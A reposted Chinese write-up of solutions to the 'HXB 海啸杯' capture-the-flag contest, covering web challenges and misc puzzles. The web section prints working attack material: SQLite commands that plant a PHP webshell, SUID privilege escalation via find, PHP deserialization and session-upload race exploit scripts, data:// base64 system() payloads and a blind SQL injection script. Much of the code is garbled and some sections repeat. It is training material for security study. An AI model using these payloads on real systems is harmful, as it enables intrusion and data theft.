文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

hxb海啸杯

2023-09-06 15:14

关注

web

welcome to 海啸杯

查看源代码,拿到flag。

HXBCTF{welcome _to_HXB}

极客邀请函

考点:SQLite get shell、SUID提权

查看网页源码,看到注释里的PHP代码

open('./test.db');}}$db = new MyDB();if(!$db){echo $db->lastErrorMsg();} else {echo "Opened database successfully\n";}if($POST["cmd"]!=NULL){if(strpos($POST["cmd"],'system')!==false){echo 'HACK不准哦 达咩 达咩哦';}else{echo '执行成功';$db->exec($POST["cmd"]);*}}?>

SQLite还可以生成任意后缀名的数据库文件
创建一个 shell.php 的数据库文件,新建一个名为 exp 的表,并在表中插入: ,即一句话木马

ATTACH DATABASE 'shell.php' AS hxbctf; create TABLE hxbctf.exp (dataz text);insert INTO hxbctf.exp (dataz) VALUES ('');

用蚁剑连接:
在这里插入图片描述

发现flag在/tmp目录下,但没有权限查看,使用suid提权
利用find找到有SUID权限

find / -user root -perm -4000 -exec ls -ldb {} \;

find文件所属者和所属组都为root用户,使用find命令可以执行其它的系统命令,因此可以使用find命
令运行whoami查看当前用户

find 1 -exec whoami \;

使用find获取flag

find 1 -exec cat /tmp/flag \;![在这里插入图片描述](https://img-blog.csdnimg.cn/a3da5e5799ce4a73b0dd3fc81a2758ad.png)

在这里插入图片描述

参考文章:

https://blog.csdn.net/weixin_39430198/article/details/123504153

infant_serialize

Atuhor:eeknight

考点:PHP反序列化原生类利用、wakeup绕过

题目描述:反了反了

 class = "hunzi";        $this->para = "luansha";        echo new  $this->class ($this->para);    }   public function __wakeup() {           $this->status="dalao";    }    public function __destruct()    {        if($this->status!="dalao"){            $this->check = new jingcha;            if($this->check->filter($this->para) && $this->check->filter($this->class)) {                echo new  $this->class ($this->para);            }            else                die('有黑客,抓起来!!!!');        }        else            die("欢迎大佬!!!!!!!");    }}class hunzi{    var $a;    public function __construct($a)    {        $this->a = $a;        echo ("hello ".$this->a);    }}class jingcha{    function filter($code){        $pattern = '/[|\'*|=|"|;|?]/i';        if (preg_match($pattern, $code)){            return false;        }        else            return true;    }}if(isset($_GET['dalao'])){    unserialize(base64_decode($_GET['dalao']));}else{    highlight_file(__FILE__);}   

遍历得到flag名字 ,使用原生类FilesystemIterator

在这里插入图片描述

得到42177812215a92ea1ad9b7d61a1787e8.php,即为flag所在的文件,

接着读取,使用原生类SplFileObject

在这里插入图片描述

小小web

考点:md5绕过、伪协议

 
$r = random();if((string)$_GET['a']==(string)md5($_GET['b'])){  $a=$_GET['a'];  $b=md5($_GET['b']);  if($a.$r == $b){

有一个random方法,返回的是一个随机数,在这道题中,不需要清楚返回的是什么内容,我们只要知道返回的是一串数字就可以了。传入两个参数a和b,要求传入的是字符串,b会经过md5加密。最后要让 a . a. a.r == b 。因为是弱类型比较,且只能传入字符串,想要的是两个 0 e 开头的字符串进行比较,因为 b。因为是弱类型比较,且只能传入字符串,想要的是两个0e开头的字符串进行比较,因为 b。因为是弱类型比较,且只能传入字符串,想要的是两个0e开头的字符串进行比较,因为b是参数b经过md5加密而来,所以我们传入md5加密后是0e开头的字符串即可。

构造a,b如下

?a=0e123221&b=s1502113478a&c=/var/www/html/flag.PHP%0a
 $c = file_get_contents($_GET['c']);      eval($c);

刚开始以为直接将路径传给c,eval输出flag。。。

后来发现正则绕不过去,/is 匹配所有字符及换行符。

联想到题目 你就爆吧你。。应该是

第一种解法:

PHP_SESSION_UPLOAD_PROGRESS文件包含利用

的知识点了来绕过。文件竞争命令执行拿flag。

上传一个自定义的内容临时文件,传入eval,进行rec即可。

exp:

import ioimport requestsimport threadingimport time def poc(session):    global event'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': 'bbbbbbb'} )        while resp.status_code==429:            time.sleep(0.3)            resp = session.post( 'http://121.37.24.208:63738/?a=0e11&b=s1502113478a&cmd=system("cat%20/var/www/html/42177812215a92ea1ad9b7d61a1787e8.php");&c=/tmp/sess_bbbbbbb', data={'PHP_SESSION_UPLOAD_PROGRESS': ' ?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': 'bbbbbbb'} )        print(resp.text[resp.text.find('yes'):])if __name__=="__main__":    event=threading.Event()    with requests.session() as session:        for i in range(1,30):             threading.Thread(target=poc,args=(session,)).start()

运行得到flag。

第二种:

data协议data:text/plain file_get_contents拼接伪协议

虽然过滤了//,但是data:text/plain也可以用。

在这里插入图片描述

c3lzdGVtKCJscyIpOw==   //system("ls");base64编码查看目录
?a=0e123221&b=s1502113478a&c=data:text/plain;base64,c3lzdGVtKCJscyIpOw==;

在这里插入图片描述

发现42177812215a92ea1ad9b7d61a1787e8.php

读取flag:

system("cat /var/www/html/42177812215a92ea1ad9b7d61a1787e8.php");

注意 ;不要漏掉

base加密为:

c3lzdGVtKCJjYXQgL3Zhci93d3cvaHRtbC80MjE3NzgxMjIxNWE5MmVhMWFkOWI3ZDYxYTE3ODdlOC5waHAiKTs=
?a=0e123221&b=s1502113478a&c=data:text/plain;base64,c3lzdGVtKCJjYXQgL3Zhci93d3cvaHRtbC80MjE3NzgxMjIxNWE5MmVhMWFkOWI3ZDYxYTE3ODdlOC5waHAiKTs=;

在这里插入图片描述

扫一扫

信息泄露,disrearch扫描发现有www.zip,直接打开失败,拖到010拿到flag。

HXBCTF{message_leak_is_dangerous!}

happy_sql

sql,盲注脚本编写。

import reimport requestsurl="http://121.37.24.208:58125/"flag=""i=0while True:small=32big=127i=i+1while small>1data = {'height':f"0 or (select case when ord(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1)) > {mid} then 1 else 0 end)"}# 'height':f"0 or (select case when ord(mid((select flag from happy_sql),{i},1)) > {mid} then 1 else 0 end)"r=requests.post(url,data=data)if 'img/duochidian.jpg' in r.text:small=mid+1else:big =midif(re.search("}",flag)):breakelse:print(chr(small))flag+=chr(small)print(flag)

misc

套娃

码多次base,知道是base16、base32、base64,根据它们的字符集,写个脚本逐层解码

脚本破解即可:

import base64with open("Base套娃.txt", "r") as f:r = f.read()while True:try:r = base64.b16decode(r)print("base16")except:try:r = base64.b32decode(r)print("base32")except:try:r = base64.b64decode(r)print("base64")except:passif b"hxbctf" in r:print(r)break

在这里插入图片描述

藏在云朵的二维码

Stegsolve 文件合成,发现有个二维码,接着就选择较为清晰的两张图疯狂合成,使得二维码清楚一点,最后扫描即可拿到flag。

在这里插入图片描述

新时代保安

Stegsolve 选择不同的通道查看,即可拿到flag:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7gtX6n0l-1666622264490)(D:\AAaaZH\学习\web学习\题目+比赛\比赛\比赛\2022-10-15海啸杯\海啸杯笔记\image-20221015171046265.png)]

我的银行卡密码是:xxxx

使用archpr.exe对压缩包密码进行爆破,得出是987654。

解压得到一张图片:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KR5viknJ-1666622264491)(D:\AAaaZH\学习\web学习\题目+比赛\比赛\比赛\2022-10-15海啸杯\海啸杯笔记\image-20221015171206920.png)]

也是放到Stegsolve ,选择不同的通道,lsb隐写 查找得到flag。

藏在云朵的二维码

Stegsolve 文件合成,发现有个二维码,接着就选择较为清晰的两张图疯狂合成,使得二维码清楚一点,最后扫描即可拿到flag。

新时代保安

Stegsolve 选择不同的通道查看,即可拿到flag:

来源地址:https://blog.csdn.net/m0_62107966/article/details/127503877

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯